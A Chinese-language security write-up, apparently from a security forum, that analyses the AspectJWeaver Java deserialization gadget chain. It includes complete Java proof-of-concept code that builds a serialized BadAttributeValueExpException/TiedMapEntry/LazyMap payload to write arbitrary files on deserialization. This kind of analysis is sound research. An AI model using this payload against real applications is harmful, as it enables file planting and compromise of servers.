AspectJWeaver反序列化利用链

前言

aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。


其重写了HashMap的put方法。


其put方法中的writeToPath方法执行了写入文件的操作,以传入的key为文件名,valueBytes为写入文件的内容,valueBytes由put方法中传入的value而来。


writeToPath方法中this.folder为要写入的路径,可以由StoreableCachingMap类的构造函数传入。


然后与File.separator(即),key(文件名)进行拼接,构成fullPath(文件写入的位置),创建FileOutputStream,向其中写入bytes即传入的valueBytes

简单demo

如下demo,利用aspectjweaver中的SimpleCache类的内部类StoreableCachingMap的put方法实现文件写入:

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("D:", 1);
        // 调用其put方法
        map.put("1.txt","21321321".getBytes(StandardCharsets.UTF_8));
    }
}

其会创建D:\1.txt文件,内容为21321321

反序列化触发

从上述分析,可以知道,只要能触发SimpleCache$StoreableCachingMap的put方法就能执行文件写入操作。
CommonCollections中的LazyMap的get方法中存在put方法的调用


在CC反序列化利用链中,LazyMap的get方法常用来触发transformer的transform方法。
我们可以将CC反序列化利用链中触发LazyMap的get的操作用到这里,这就需要目标同时存在CommonCollections依赖。
如下demo即可实现反序列化时写入文件:

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("D:", 1);
        // 这里用到ConstantTransformer是为了构造value,即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
        // 返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map,transform);
        // 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
        // 这里是为了序列化时不触发LazyMap的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        // 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        // 反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

当然也可以利用其他方法来触发LazyMap的get

调试分析

对反序列化触发的代码进行调试分析。
反序列化BadAttributeValueExpException对象,首先进入BadAttributeValueExpException的readObject方法。


这里给valObj赋值为BadAttributeValueExpException对象的val成员的值,其是一个TiedMapEntry对象。
然后进行判断后,调用valObj.toString方法。


进入TiedMapEntry的toString方法。


可以看到其会调用到getValue方法。


在getValue方法中,会调用map.get方法,这里的map是在初始化TiedMapEntry对象的时候传入的LazyMap对象,key是在初始化TiedMapEntry对象的时候传入的"1.txt"
接着会进入LazyMap的get方法。


进行一个判断后,将value赋值为this.factory.transform的返回值,this.factory为LazyMap.decorate方法传入的ConstantTransformer对象。


接着ConstantTransformer的transform方法会返回iConstant,就是ConstantTransformer初始化时传入的值。


然后会调用到this.map.put方法,并传入key和value,this.map为LazyMap.decorate方法传入的SimpleCache$StoreableCachingMap对象。
进而调用到SimpleCache$StoreableCachingMap的put方法,writeToPath方法实现文件写入。

参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖